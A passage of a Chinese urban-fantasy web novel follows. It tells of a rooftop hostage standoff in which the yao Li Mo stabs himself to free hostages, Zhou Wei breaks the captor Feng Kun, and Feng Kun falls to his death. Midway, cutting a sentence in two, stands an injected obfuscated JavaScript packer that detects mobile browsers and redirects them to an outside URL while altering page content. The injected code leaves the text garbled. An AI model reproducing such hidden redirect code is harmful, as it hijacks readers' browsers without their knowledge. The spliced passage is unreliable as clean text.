“我艹这疯子!”对面住宅楼上,杨小钱一拳砸在墙上:“终止行动!季老大,快把那个妖类叫回来!” 可他突然看到季凌云和申彦雪都面色阴沉,一言不发。 杨小钱举起的拳头愣在了半空:“季……老大?” 季凌云没有回答,反而是申彦雪接下了话头,声音冷沉:“如果现在终止行动叫回李默,人质就是死路一条了。冯坤是不会允许杀死玉一的人活着离开的,他的仇恨现在已经转移到了李默身上,目标只有一个,就是他的性命。” “那我们也不能真的眼睁睁看着李默自杀啊!”杨小钱愕然道:“再说就算李默真的死了,那个冯坤也未必就会放人啊!要死要活还不是他一个念头的事?!” 然而就在此时,季凌云开口了。 他的声音低沉:“......他早就料到了。” 杨小钱一愣:“什么?” “现在这个局面,李默早就料到了..……所以他才要代替周队去见玉一。”季凌云狠狠地闭上了眼睛,掌心在窗棂上硌出了一条深深的纹路。 原来他之前说,要最大限度地保证人质和监察员的安全,他是唯一的人选……是这个意思。 他早就想到了——不管是谁上去面对冯坤,都要承受冯坤的仇恨和怒火。因为玉一已死,冯坤手握人质性命,“以命换命”几乎是这个满怀仇恨又走投无路的疯子必然的选择。 而他想到了的,周纬也未必没有想到……所以他才不做任何安排,孤身就想上天台面对冯坤。 这两人都把想用自己的命,换人质的命。 ……又都想用自己的命,换彼此的命。 季凌云的牙齿几乎咬碎,那双无坚不摧的手上狠狠地爆出了狰狞的青筋。 ——珑湖市是什么疯子聚集地吗?!从监察员到凶犯,居然没一个正常人! “以命换命”,这算什么狗屁解法!难道监察员的命就不值钱了吗!难道妖类的命就不值钱了吗! 然而,不管季凌云再怎么暴怒,此时此刻也已经晚了——在对面楼顶天台,那把寒光闪亮的刀,此刻已经到了李默的手上。 李默凝视着那冷锐的刀锋,面上居然掠过了一丝轻笑。 他略带欣慰地想——赌对了。 在来见冯坤之前,他在季凌云面前表现得像是很有把握的样子——那真是用尽了他毕生的演技。 他其实心里很没底,有许多赌博的成分在——第一次是赌冯坤不会在见到他的第一瞬间就暴怒起来杀人质,第二次是赌他能成功把冯坤因为玉一之死而产生的恨意转移到自己身上。 好在,也不知是他运气够好还是上天垂怜,这两次居然都被他赌对了,着实让他大松了一口气。 至于“以命换命”…… 这是好事。 李默欣慰地心想:“……至少上来的不是周队。” 李默掂了掂手中那把一尺长的尖刀,拇指拭过那雪亮的刀锋,抬起头来。 他道:“我觉得这有些不公平。” 冯坤冷冷地逼视着他。 李默却像是一无所觉般,居然真的认真跟他讨价还价起来:“我可以在你面前自尽,但我怎么知道我死了之后,你就一定会释放人质呢?如果我死了,你却依然杀了人质,那我的死又有什么意义呢?与其这样,还不如我尝试杀了你,救下人质。这样至少我的命可以保全,对不对?” 冯坤:“……” 他道:“我没兴趣跟你在这里哔哔叨叨。” 他的手掌猛然抬起,两指一捏,仿佛就要做出一个“拧断”的动作——然而就在此时,李默断喝一声:“等等!” 冯坤手指一顿。 只听李默道:“我有办法。” 说罢,他就在冯坤森冷疯狂的注视下,在天上三名人质绝望而祈求的目光中,在不远处众多监察员窒息的眼神里——缓缓抬起那把刀,刀尖向内,抵在了自己前胸。 “三个人,我应该有三次机会,对不对?”他笑道:“这样吧,我捅自己三刀,每一刀,你放一个人。只要你放走前两个,最后一刀我一定把妖核挖出来给你,好不好?” 天地间仿佛静止,连风都窒息了。 半晌之后,冯坤道:“你愿意?” 李默道:“你试试?” 说罢他猛一用力,血光刹那间喷溅而出! 他居然真的一声招呼都不打,直接就将那把尖刀捅进了自己的胸口! 霎时间所有人全都僵住了,连冯坤都呆滞了一般愣在原地。那把尖刀入肉三寸,鲜血先是骤然喷溅而出,随后顺着刀锋缓缓淌落,李默胸前的血斑慢慢扩大。 而他的手居然还握在刀柄上不曾松开,血染的手掌上,鲜血滴滴答答地坠落。 他对着冯坤露齿一笑:“第一个,请放了那个小姑娘。” 静默片刻之后,冯坤一挥手,四岁的念念在半空中划出了一道抛物线,带着惊飞的尖叫坠下了楼。 早已待命许久的风系监察员们一拥而上,七手八脚织成的风网凌空拦截了下坠的小女孩儿,片刻之后季凌云的战术耳机里就传来了“人质安全”的报告声。 季凌云掌下的窗棂已经裂开一片,他咬着牙道:“人质立即送医,突击队准备突入。” 耳机里传来的整齐划一的“收到”声宛如空天惊雷。 与此同时,天台顶上,冯坤的眼睛死死地逼视着李默,几乎是想把自己的视线钉进李默的骨缝里。 这个疯魔了的少年像是不敢相信世界上还有这等疯子,非要亲眼扒出他的破绽不可,一双血红的眼珠子一错不错地盯着他,开口道:“第二刀。” “等等。”然而就在这时,李默突然叫了停。 刹那间他像是要反悔一样。冯坤猝然抬头,那动作之猛烈,简直让怀疑他那已经血肉剥离的脖颈能不能承受得住。他的眼睛中骤然爆射出一团瘆人的精光,脸上的肌肉扭曲,不知是狂喜还是狰狞。 然而李默说出来的却是——“你有没有在玉一的左臂上,见到过一个符文烙印?” 在场所有人都倏然一愣,不明白李默这到底说的是什么。 只有李默心里一阵苦笑。 他确实想垂死挣扎一下——虽然有了以命换命的心理准备,但临到眼前,谁都会有“不想死”的一缕妄念和不甘。 然而李默不甘了半晌,才发现他居然连个拖延时间的话术都想不出来——他有限的口舌之利和好运气似乎都消耗在之前的两次赌注中了,以至于到了现下,他搜肠刮肚地憋 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然而就在此时,悬浮半空的老教师赵明森突然挣扎着扭动起来:“救我女儿!救念念妈!救我女儿!” 在他身旁,被捆缚着手脚、塞着嘴巴的长发女人绝望地望着父亲,泪水夺眶而出。 李默的目光沉了下来,片刻后,他点了点头。 冯坤一挥手,女人直线下坠,被风接到了监察员们手中。 就此,天台上突然空旷起来。 只剩下一个人了。 只剩下一刀了。 万籁俱寂,所有人的目光都去凝固在楼顶那个血染的人影上,连过往的风都屏住了呼吸。 李默缓缓抬头,唇畔染血,呼吸之间刀刃都在体内刮擦扰动,他露出了一个染血的笑容。 他直到此刻语气居然还是轻松的,虽然因为剧痛而带着些许的颤音:“看在我死得这么痛苦的份上,放在那个问题,可以回答一下么?” 他居然到现在还在讨价还价! 半晌,冯坤居然真的开口了。 “那是玉一叔所在的组织的标志。”他道:“第三刀。” 一道无波无澜的声音落下,像是命运冷漠的判词。 李默握上刀柄的时候不然一个晃神,他想——我是不是第一个被人类逼死的妖类? 周队要是醒了,会笑话我的吧…… 仿佛是想到那个名字就会本能反应似的,李默下意识地低头一笑; 对面的住宅楼上,季凌云眼神冷若冰霜,举起了代表突击的拳头,只要他一拳落下,隐藏在大楼各处的突击队监察员就会发起总攻; 冯坤的目光死死地钉在李默手上; 半空中的赵明森仍在狂吼挣扎。 就在这万籁俱寂的一刻—— 一个声音骤然打破了寂静。 “冯坤,你管一个妖类叫叔,是忘记自己还有一对亲生父母了吗?” “你敢让他们看看,现在的你吗?” 冯坤的身体骤然僵硬,与此同时,半跪在地的李默豁然转身回头,望着出现在天台尽头的那个人影,双眼难以置信地睁大了。 ——那是周纬的身影。 他回来了。 60.落幕 对面的住宅楼上,所有人看到突然出现的周纬都活似见鬼,杨小钱这才发现之前墙角上的那张桌子上已经没人了,顿时一蹦三尺高:“我艹!周队什么时候醒的!他什么时候跑过去的!” 别说他了,就连季凌云都没发现周纬是什么时候醒过来的……话说他不是被李默打晕了吗?李默好歹是个A级妖类,下手居然连这点分寸都没有,连让人晕久一点该用多少力道都算不出来吗? 楼顶上,周纬从天台尽头缓步而来,高空的冷风从他耳畔掠过,带着若有似无的血腥气。 李默的大衣还披在他的肩头,在风中飘飘摆摆。他的左臂仍旧悬吊着,右手则垂在身侧。仔细一看他那只右手上,食指中指两根手指弯曲的弧度似乎有些不太自然,而且还在微微抽搐着,手腕上的灵晔珠随着他的走动轻轻摇晃,流苏串坠细碎地敲打着他的腕骨。 李默一时愕然。 他想不明白周纬是怎么会突然苏醒的,见他醒来,又本能地担心他身体怎么样了,然而想开口询问,别说现在场合不对,他也隐隐觉得有几分心虚,怅徨踌躇半晌,到底没敢上前,跟中了定身符似的僵在原地望着周纬,只把目光转成了一根指纬针。 然而周纬连看都没看他一眼。 他目不斜视地从半跪在地的李默身旁走了过去,两步就打破了李默之前勉力维持的二十步安全距离。 冯坤低沉道:“站住。” 周纬充耳不闻。 冯坤的面上骤然现出厉色:“我叫你站住!” 周纬:“站你麻痹。” 刹那间所有人都愣住了,连冯坤那双充血的眼睛都不可思议地瞪大了。 这人疯了吗?!他怎么敢这么刺激冯坤的! “我不站你能怎么样?杀了人质么?杀了人质你还有半点可以威胁我们的东西么?”周纬像是对所有围观者的惊愕骇然毫无所觉,仍旧一步步地向前:“冯坤,你他妈还能再废物一点么?杀了玉一的两个仇人都站在你面前,你他妈就打算一直缩在那个龟壳里不出来么?” 冯坤剧烈地喘息起来。 然而周纬像是已经全然不管不顾了,他已经逼近到了十五步,却毫不在意渐趋缩短的距离对冯坤的压迫和刺激,更似乎已经完全不把人质的命放在眼里了,刀刀往冯坤的心窝子上戳:“你他妈要这一身灵力有什么用?弄成这个人不人鬼不鬼的样子,结果还是个缩头乌龟。玉一也就是死得魂飞魄散太彻底了,他要是魂魄不散在天有灵,估计都会觉得——我他妈怎么就为了这么个废物丢了命呢?” 冯坤全身上下的骨骼都在发出吱嘎声。他的身体抖如筛糠,那身破烂的血肉像是已经兜不住身体内部的动静,于是激颤之下骨头都开始稀里哗啦地响,像是体内装了个不甚体面的风铃。 周纬再次逼近一步,黑沉的眼瞳中闪着冰冷的光:“我有一句玉一的遗言,你敢不敢听?” 冯坤猝然睁大了眼睛:“说!” 然而就在这一步上,周纬却非常突兀地停住了脚步,所有人都跟着他落下的脚步心中一颤。 然后,非常非常缓慢地,周纬的眼角弯起,嘴角扭曲,他露出了一个充满恶意的微笑。 他轻声道:“凭什么?” 冯坤一声厉叫,那叫声活似要把人骨头茬子刮下来三斤渣,周纬和李默肩上骤然平添了千斤重担,与此同时一排土刺突兀而起从他们脚下,活生生要将他们两个穿个透心凉! 冯坤终于忍不住出手了! 周纬身上电光一闪飞身后退:“李默!” 不用他说,李默已经骤然出手!只见白光一闪,紧接着是刺眼的血色,一声厉啸倏然闪过,李默人已经不在原地! 那一闪而过的白光居然是他胸口上的那把刀!李默手无寸铁,竟然直接拔出了那把尖刀掷向冯坤! 什么武器经过李默大力一掷威力都会变得堪比破甲弹,那尖刀猛然挣脱了重力束缚,尖啸着破风而出,下一秒就在冯坤眼中骤然放大!冯坤仓促之下只得升起一面土墙试图抵挡,然而那尖刀厉啸一声猝然插进土墙,竟将其直接贯穿,只差一毫就可以径直刺穿冯坤的眼球!那刀柄留在墙外,仍在兀自嗡鸣震颤不止! 与此同时,李默人已经拔地而起,幻影移形般出现在半空,凌空一把捞过直坠下落地赵明森,直接将他整个人圈进了怀里,紧接着倏然远离,落地时已经在对面楼上。 等候多时的监察员们一拥而上,接过浑身颤抖的老教师。 “孩子……孩子……”年过花甲的老人在一天之内历遍了这辈子的噩梦,看过了这辈子都没见过的鲜血,犹自伸出哆哆嗦嗦的双手,试图用力堵住李默胸前那个热血奔涌的伤口,嘴唇颤颤巍巍地:“孩子,没事啊……” 当着一辈子小学老师的人,见了哪个年轻的都叫孩子。 李默浑身轻轻一颤,握住老教师的双手,露出了一个轻柔的笑:“嗯,没事。” 他将老人交给前来支援的监察员们,身形再次一闪,已经落回了原先的天台上。 而此时,冯坤已经在周山屏障的压制下动弹不得。 惯于使用重力碾碎别人的人终于也尝到了泰山压顶的滋味儿。周纬将周山屏障凝聚成了一面盾牌,直接将冯坤扁扁地拍平在了地上。冯坤对灵力使用不熟的弱点在岚山之上就曾经让他吃过一次亏,他难以灵活熟练地运用灵力,就难免顾此失彼,忙于应对李默的刀锋就顾不上再管人质,再加上被周纬刺激主动出手,心情激荡之下露出破绽,顿时形势颠倒一溃千里。 要论正面战力冯坤甚至比不上洛小莉,遑论对上身经百战的周纬,这场战斗属实没有任何悬念。其实原本他在这些监察员眼中就构不成威胁,如果不是因为提前算计抓好了人质,异监局也不会陷入如此被动窘迫的境地。 等到李默回身折返,这场短暂的战斗已经尘埃落定。 李默一手按着胸前伤口,身形落到周纬身边:“周队。” 周纬抬头看了他一眼。 李默的表情猝然一僵。周纬这一眼冷漠又陌生,那双深不见底的黑色瞳仁周围像是结了一圈坚冰,目光冷得能刺进人的骨头缝里。 然而周纬也只是看了他一眼,却没对他说半个字,紧接着就把头又低了下来,望向了冯坤。 “我没时间也没心情跟你废话。”他简洁道:“你的灵力血清是哪儿来的?” 冯坤整个人都被“五体投地”地压在了地上。他身上已经不剩几块完好的皮肤了,趴在地上顿时就将地面印出了一个人形的血印子,周山屏障压制得他动弹不得,然而他还是拼尽全力抬起头来,伸长了脖颈,喉结刺出一个触目惊心的弧度,望着周纬:“我叔的遗言是什么?” “骗你的。”周纬冷冷地吐出这句话:“玉一死得灰飞烟灭,连半个标点符号也没留下。” 冯坤浑身骤然一静。 下一刻,他突然剧烈挣动起来,嘴里狂吼乱叫,身上的肉芽都像一只只小手一样疯狂地蠕动挥舞起来,鲜血几乎淌成了小溪。他这么奋力挣扎却也根本无法撼动周山屏障,然而这暴怒的少年却毫无所觉般,甚至拼了命地拱起身子往周山屏障上撞,裸露在外的肌肉纤维贲突暴起,眼中的凶芒像是恨不得扑上去用牙齿咬断周纬的喉咙。 周纬脸上一片漠然。 他右手下压,再次把拱起身子的冯坤压回地面,丝毫不在意他身上迸溅出来的鲜血:“我说过了,你认一个妖类当叔,想过你的亲生父母么?你看看你现在还有个人样么?你敢让他们看见你现在的样子么?” “滚——滚开!”冯坤神情癫狂,双手狂乱地挥舞着,像是要扒开眼前的什么东西:“你给我滚开!” “多狼狈啊,多难看啊……”周纬轻声低语,维持着周山屏障的手纹丝不动:“冯坤,从许耀文一家开始,你跟玉一七年间杀了那么多人,害了那么多条性命,就是为了把你那个无能的废物父亲送上青云梯。可他们却一直一无所知地活着,清白无辜地活着,心安理得地享受着你跟玉一不惜双手染血给他们带来的荣华富贵,背后却依然觉得你是个乖戾无常、不堪入目的废物儿子……冯坤,你甘心吗?” “你不想让他们知道,他们现在的这一切都是怎么来的吗?你不想揭开血淋淋的真相后,看看他们的表情吗?” “玉一已经死了,一切都要结束了,你不想站在他们面前,不戴面具,真真正正地活一次,让他们知道自己究竟生了个怎样的儿子吗?” 这一回,连李默看向周纬的目光中都染上了骇然。周纬说的话如同恶魔絮语,正在冯坤的心里撕开一道又一道深长的染血的裂缝。 “我已经把他们带过来了。”周纬直直地凝视着趴伏在地上的少年,一字一句清晰无比:“说出是谁给了你这些灵力血清,我就让你最后见他们一面。” 冯坤不再挣扎了,他抬头森然望向周纬,一缕过长的头发散落下来,被他和着血咬进了嘴里。 半晌,他冷冷道:"‘好先生’。" 周纬和李默全都猛然一震。 "给我灵力血清的人自称叫‘好先生’,因为他说自己是个好心的先生。"冯坤冷道:“至于这是个什么狗屁化名我也不知道。我爹妈在哪里?” 周纬深深地望了他一眼。 随后,他解下自己肩头李默的风衣,蒙头盖脸地扔在了冯坤头上。 “以你爹妈的那副德行,见到你的第一眼怕不是就得吓晕过去。”他冷然道:“穿着这个去,不用还了。” * 五分钟后,冯汝成和黄丽华被一群监察员簇拥着,来到对面楼房间的窗前。 黄丽华手中紧紧地攥着一个对讲机,另一只手紧紧地攀着丈夫的衣服前襟。然而冯汝成的状态并没有比她好到哪里去,他矮胖的身体几乎是在被推着向前挪动着,这让他们夫妻俩看起来简直像两个被严密监视和押送的犯人。 “老冯……”黄丽华张惶无措地抬头,试图从丈夫那里获得一点儿支持的力量。 “嘘……小点儿声,没事。”冯汝成艰涩地咽了口唾沫,周围众多逼视的眼光让他不自觉地产生了一丝心虚的感觉:“就……就是小坤犯了点儿事,警方让我们来劝劝他……按照我们之前商量地那么说就行。” 黄丽华没有得到她想要的支持,但也没有别的办法了,她茫然地点了点头。 两人被簇拥到了窗前,抬头望着对面的楼顶天台。两栋楼之间的楼间距不算太远,他们能看到对面天台栏杆处站了一个人,从头到脚都一件黑色大衣裹了起来,看也看不见脸和身形。黄丽华轻轻地抽了口气,拿不定主意似地:“那……那是小坤吗?” “你自己儿子你认不出来吗?”旁边杨小钱走过来,语气冷冷地往她手里塞了个无线对讲机:“说话。” 黄丽华和冯汝成对视一眼,冯汝成偏开目光,只是狼狈仓促地冲她点了个头。 黄丽华只好按下对讲机的通话键:“喂?小坤?小坤……是你吗?” 她说得战战兢兢、惊疑不定,那声音原模原样地被转化为无线信号,从对面天台上的另一只对讲机中还原了出来,带着隐约的刺啦电流声,语气却是不太失真的。 然而冯坤其实根本不需要听她的声音。 住宅楼的楼间距并不远,他的身体虽然已经濒临崩溃,然而各项机能在血清的强化下却都已经达到了顶峰,视力清晰得纤毫毕现,可以清清楚楚地看到对面房间窗前的父母,甚至可以读懂他们的唇形。 ……也能看到他们脸上的张惶无措,惊疑不安。 刹那间他狠狠地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222497|195446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 攥紧了手中的对讲机,一时间没有说话。 刚才他听周纬发问的时候,脸上是那么狰狞愤怒,目光中像是流露着对父母刻骨的仇恨。然而此刻真的站到了他们对面,面对着短短几十米的距离,他却突然沉默了下来。 事到如今……该说什么好呢? 要告诉他们事情的真相吗?要说出七年来他都为他们两个做了什么,告诉他们如今的荣华富贵、优渥生活,究竟是怎么来的吗?要让他们知道自己其实并不清白无辜,他们所挥霍的每一分钱、青云直上的每一段路,其实都是带着血的吗? 还是要痛骂他们是多么的废物无能,多么的让他感到丢脸失望,痛斥他们就是两坨扶不起上墙的烂泥,控诉如果他们不是这么卑微懦弱,如果他们能挺直腰杆做人哪怕一次,如果他们能在当初儿子遭受不公时勇敢地站出来维护他……那么一切都会有所不同? 还是要问一问…… 问一问在他们心中,自己这个儿子,究竟是一个怎样的人? 他的身体已经在逐渐走向崩溃。在对面低矮楼层所看不到的地方,冯坤脚下的血已经流成了一条细细的溪流。到了这个份上甚至周纬和李默都不再常识控制他了,这个孩子的生命也许只是剩下了短短十几分钟而已。 而行至末路,面对着这两个给予了他生命、将他抚养长大,陪伴他度过了最多的年岁的男女,冯坤能做到还是只有沉默。那些隐秘的渴求与期待,无数次的暴怒与失望,日日夜夜夜涂抹假面勉力维持的武装,组成了一个个肥皂泡一样的假象,虽然脆弱,可真要戳破的时候,却仍旧需要巨大的决心和勇气。 不知过了多久,冯坤的手指终于抵上对讲机的通话键,一个含在舌尖的“妈”字就要破唇而出。 就在这时,对讲机里又传来了新的声音。 “小坤?小坤……如果是你的话,你听妈一句劝,不管你犯了什么事儿,停手吧,别再反抗了,好不好?” 宛如一道雷霆当头落下,冯坤的身形突然僵立在了原地,不动了。 “你……你年纪还小,就算做了错事也是一时受骗,是有坏人骗了你,对不对?都是坏人的错,你别执迷不悟,听妈妈的话,快点跟警察叔叔投降,你会没事的……” 冯坤的呼吸像是完全静止了,整个人在天台边缘立成了一座黑色的雕像,只有手中的对讲机还在急促不安地发出声音。 “小坤……警察已经把这里团团包围了,你跑不了了……但你别担心,咱们国家不是有那个什么,什么《未成年人保护法》吗?爸爸妈妈会给你请最好的律师,你就算坐牢也是轻判,改造几年就出来了……你、你没事的,还是爸爸妈妈的好孩子……” 对面的房间里,黄丽华握着对讲机的手心已经渗出了汗。这是他们俩挖空心思、绞尽脑汁,好不容易才商量推敲出来的一套词,已经耗尽了他们俩本来就为数不多的警匪片储备量。商量的时候他们俩提前先确定了方向——冯坤性格暴躁易怒,不能刺激他不能骂他,必须对他采取“怀柔”的态度,让他知道自己就算犯了罪也不是无路可走,还有希望,不要走极端…… 可是说了这么久,对面怎么一点反应都没有? 黄丽华越说心里越没底,眼神越来越慌乱,只好像寻找主心骨似的又看向了丈夫。她在大事上总是拿不定主意,只能习惯性地求助于冯汝成,好像只要有个人指挥她怎么做,她就可以心安理得地放弃思考、卸下责任,不必再考虑所有可能的结局和后果。 只是这次,她从丈夫脸上看到的,还是畏缩和躲闪,以及催促她继续往下说的一肘子。 她咬了咬牙,最后还是把他们商量好的那一记“重磅炸弹”搬了出来,用力按下了通话键: “小坤,你放心,不管你干了什么,你都是爸爸妈妈唯一的孩子,我们永远都是站在你这一边的。” “……爸爸妈妈,是最爱你的。” “哈哈哈哈……” 黄丽华和冯汝成同时一愣,手中的对讲机里终于有了回音,却是一阵剧烈的笑声。 对面的天台上,周纬和李默并肩而立,沉默地看着眼前的冯坤仰天大笑,笑得前仰后合。 那笑声是如此的凄厉、惨烈,几乎不似活人,倒像是把一个人活生生打碎又重新拼凑起来的,充斥着难以言喻的扭曲和绝望。 他生生笑出了血泪,又自己抬手抹掉,像是笑痛了肚子般弯下腰:“我真是个大傻逼!” 他从自己的裤子口袋里掏出了一样什么东西,然后解开遮体的风衣远远扔开,一翻身站上了天台边沿。 鲜血淋漓的畸形的身体完全暴露在了天光下,对面不出所料地响起了一片惊恐尖叫的混乱声响。然而他毫不在意,拿起了对讲机,在一片混乱嘈杂的背景音中,按下了对话键。 “冯汝成,黄丽华,你们真他妈是世界上最垃圾的父母。”他轻声道:“看好了,我不欠你们什么了。” 他扔掉对讲机,转身面向着周纬和李默,破碎的脸上露出一个挑衅的、不屑的笑容。 “我要去找我的玉一叔了。”他傲慢地望向周纬:“我已经被你们这些无所谓的人耽误了太久,不能让他再等了。” 他朝后倒去,身形融化在灿烂的日光里。 周纬和李默都没有动。 数息之后,重物坠地的闷响声才随风传来。 天台上静默了片刻。 半晌之后,李默才缓缓走过去,弯腰捡起了自己的风衣。他把风衣搭在手臂上,起身的时候偶然向楼外一瞥,在一片血色之中,他看到了一点清晰的、闪耀的碧绿。 在冯坤的心口处,被他紧紧握在手里,有什么东西正在阳光下,闪耀着温润柔和的光芒。 ——是玉一那部,缀着碧玉坠子的手机。 61.尾声 李默突然听到身后传来一阵动静,转头一看,周纬已经原地坐下了。 外围的监察员们已经开始在季凌云的指挥下忙而不乱地开展善后工作,楼上楼下都乌泱泱的嘈杂得很,医疗车从小区外开了进来,冯坤嚎啕大哭的父母被带了下去,季凌云他们正从对面住宅楼上赶过来。 然而天台上面暂时还是安静的,只有他们两个人。 李默赶紧往周纬身边跑,然而跑到离人还有三步远的地方,他又停住了脚步。 非常罕见的,他脸上现出了一丝犹豫和踌躇。 他担心着周纬的情况,有心想上前查看,心里却又突然起了不安,像个做了错事被罚去通知家长的孩子似的,他的脚在地上磨蹭了三次,到底没敢迈出去。 就在此时,他听见盘腿席地而坐的周纬开口了:“过来。” 这一声跟金口玉言似的,李默像个得了主人敕令的小厮,连忙肃然立正,屁颠屁颠地跑过去了。 他也在周纬面前盘腿坐下,两条胳膊撑在身前,双眼亮晶晶的:“周队……” 周纬睁开了眼睛。 李默倏然住了嘴。 周纬脸上全无表情,望向李默的眼睛中是一片全然的冷漠,所有的光像是都被那对瞳子吸了回去,那双总是雀跃着细碎微光的眼睛此刻像是两颗毫无生气的燧石。 李默从来没有被周纬用这样的目光注视过,刹那间一阵绝大的恐慌攫住了他的心脏,他下意识地一把捧起周纬的手,像是想要抓住什么正在流逝的东西:“周队!” 周纬充耳不闻。 他的目光缓缓向下,注视着李默胸前那道深深的伤口。 说实话这伤其实并不重。异监局的人都知道,要对妖类造成有效杀伤,必须使用附带灵力属性的武器,而冯坤的那把刀虽然尖利,但毕竟是凡铁,刺入体内也就是留下一个大洞,除了血流得多了点儿,其实并没有给李默造成什么持久性的创伤。甚至在李默拔刀的那一瞬间,强劲的肌体就开始收缩止血,A级妖类的自愈能力真不是开玩笑的,就这么一会儿工夫,伤口虽然还没有愈合,但血已经止住了。 想要一个妖类的命,只拿这么一把凡人的钢刀来是不可能的,冯坤也不是傻子——所以这把刀其实是为周纬准备的。 从某种程度上来讲,李默对季凌云说的那句话其实并没有错——想要让人质和监察员最大限度地得以保全,他是唯一的人选。否则换了其他任何一个人类监察员上来,不管是周纬还是季凌云,这么两刀捅下去,今天这个天台上都得留下不止一具尸体。 甚至李默应对冯坤的策略也不能说有问题,他捅了自己两刀,换了两个人质的性命,也换来了冯坤的瞻前顾后、投鼠忌器。任何人在手中只剩下一张筹码的时候都得掂量掂量什么时候才是出牌的最好时机,如果没有李默这两刀打底,周纬也没那么容易就把冯坤逼到绝路,击溃他的心理防线。 所以从一个监察员的角度来说,李默这次的任务甚至完成得堪称漂亮。 可是…… 周纬微微垂下眼睫,在心里对自己说,第二次了。 这是第二次,李默为了他而受伤了。 第一次在岚山上,他亲手伤了李默,打了他一道霆华之印;第二次李默又是为了他以身相替,血流成河。 第一次的时候他自责歉疚心如刀绞,第二次的时候,他的心头一片冷漠。 其实是因为他肉体凡胎,自不量力,才让李默不得不以身犯险,一次次地用自己的身体去填补他留下的窟窿。 周纬,你要记住。 他在心里冰冷地对自己说,你要记住,李默和你在一起,就只会得到这种下场;你区区人类,会给他带来的只有厄运。 不是同一个世界的人,是不应该强行发生交集的。 这一点,阿洺早在十四年前就已经教给他了。 “这,这是怎么回事?”就在此时,李默突然开口道:“……这是怎么弄的?” 只见他捧着周纬的那只右手,双手却虚虚的全然不敢用力,像是捧着件薄如蝉翼的骨瓷。那只手垂落在他的手掌里,其他部位都无比正常,唯有食中二指蜷着,颜色青紫肿胀,甚至都已经隐隐有些发黑了,连指甲里面都能看出一丝丝血迹。 可刚刚周纬动用灵力的时候明明还是好好的! 李默蓦然浑身一僵——不,不对。 刚刚周纬施展符文咒印的时候,还是像以前一样抬着右手。他施法虽然不受影响,但是往常只是在手背上薄薄浮现出来的周山之印,这次散发出的光芒居然笼罩了整只手掌,然而周纬的灵力强度却不见有所提升——所以他是故意的! 那莫名强盛起来的灵力强光,就是为了遮掩他手上的伤! 所以这伤不是他刚刚战斗时造成的……那是什么时候? 李默的眼神骤然凝固了。 他看到了周纬手腕上那串古朴的黑色串珠。 ——灵晔鞭。 “这,这是……”李默嘴唇颤抖,连声音都不自主地哆嗦起来,几乎不成句子:“这是……” 周纬面无表情:“勒断的。” 当时李默要打晕他,他虽然已经有所察觉,但要阻止已经来不及了。仓促之下他只能给始终盘踞在自己手腕上的灵晔鞭下达了一个指示——唤醒我。 神器有灵,李默一走就缓缓地爬到了周纬的手掌上,尽忠职守地唤回了昏迷中的主人——绞断了他的两根手指。 他是硬生生疼醒的…… 十指连心啊…… 李默把周纬的那只手捧在掌心,头深深地低了下去,肩胛高高耸立,眼眶针扎般的刺痛,他几乎落下泪来。 一时之间他恨不得剖开胸口把那只手藏进去,像藏一件绝世珍宝一样再不让它受一丁点伤,一时又恨不得直接砸烂自己的整只手掌,把这痛苦替周纬受了。 他活了几百年,第一次尝到什么叫“万箭穿心”的滋味,这滋味太痛,痛得他胸前的伤口都险些再次崩裂,涌出血来。 周纬就坐在原地,任由李默捧着自己的手死去活来,像一尊冰冷的玉雕般,他的神情一片漠然。 半晌,他才开口道:“李默,抬起头来,看着我。” 李默泪眼朦胧地抬头。 “如果我不来,”周纬清晰而平静地道:“你准备怎么办?真的挖出自己的妖核交给冯坤,换人质的一条命吗?” 李默喉头噎滞,一时间说不上话来。然而周纬从他的表情上已经知道了答案。 他默然片刻,问道:“疼吗?” 按说此时他的手指还断着,最疼的人应该是他自己,可他却拿这话来问李默。 李默混乱而癫狂地狠狠点着头,眼泪大滴大滴地坠落。 疼啊……怎么不疼,疼得他要死了。自降世以来这个妖类从未感受过如此痛彻心扉的滋味,疼得他神智颠倒,识海错乱,疼得他死去活来,不知今夕何夕。 “疼就好,”周纬道:“记住这个感觉。” 李默浑身一僵,茫然地抬起眼来。 “我要你永远记住,”周纬深深地凝视着他,那双澄澈平静的黑眸对上一双朦胧痛苦的泪眼,像是一把凿子直接钉进了李默的心里:“这就是有重要的人因为自己而受伤时,会有的感觉。” 痛心彻骨,生不如死。 李默身形一顿,混沌的神识突然微微震颤起来,他心头有什么东西一闪而过,像是朦胧中天开一线,他因为周纬这一句话而突生预感,隐隐窥探到了未来的一丝蛛丝马迹—— 然而这朦胧中的一线天机终究不可追觅,乍然一闪之后,便又渺远地弃他们而去了。 徒留天台上的两个人执手相对,静默无言。 长风掠过他们身边,并不停留,呼啸千里,奔向浩渺无穷的天际。 * 等灵力血清案的种种后续了结,又过了一个星期。 季凌云的调查组为此又在珑湖逗留了一周之久。明苑小区一战之后,周纬负伤,案件的后续推进工作顺理成章地移交给了季凌云,他跟何昭华一起搜罗整理了整起案件的经过,拿出了一份极详尽的案件报告,因为报告是申彦雪执笔的,其质量之高简直令人叹为观止,已经被赵昌誉奉为圭臬,下令打印出来每个科室留存一份,决定未来五年内的案件报告都照着这份的标准来。 报告当中详细梳理了案件的来龙去脉,其因果追根溯源,竟能追踪到十四年前—— 十四年前,玉一在珑湖市犯下了多起连环杀人案,在杀死了最后两名受害者陈洺和陈筱曼之后,被珑湖市异监局抓获,认罪伏法。 然而,本应当在当年被处决的玉一,却神不知鬼不觉地被人弄了出来。至今仍不知道是什么人、出于什么样的目的、用了什么方法把玉一从异监局总部大牢里捞出来的,也不知道他这种情况是仅此一例,还是已经存在多年蔚,成为了总部之中的一条“潜规则”。 被带出总部大牢之后,玉一并未重获自由,而是加入了某个组织 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比如那种神秘的灵力血清又是从何而来?是谁制造,有什么目的,目前还有多少留存于世? 以及那个“好先生”夭冥在整个案件中又是扮演什么角色?先是灵器黑货案,再是灵力血清案,他屡屡闯入异监局的视线,究竟有什么图谋? 还有,严瑾…… 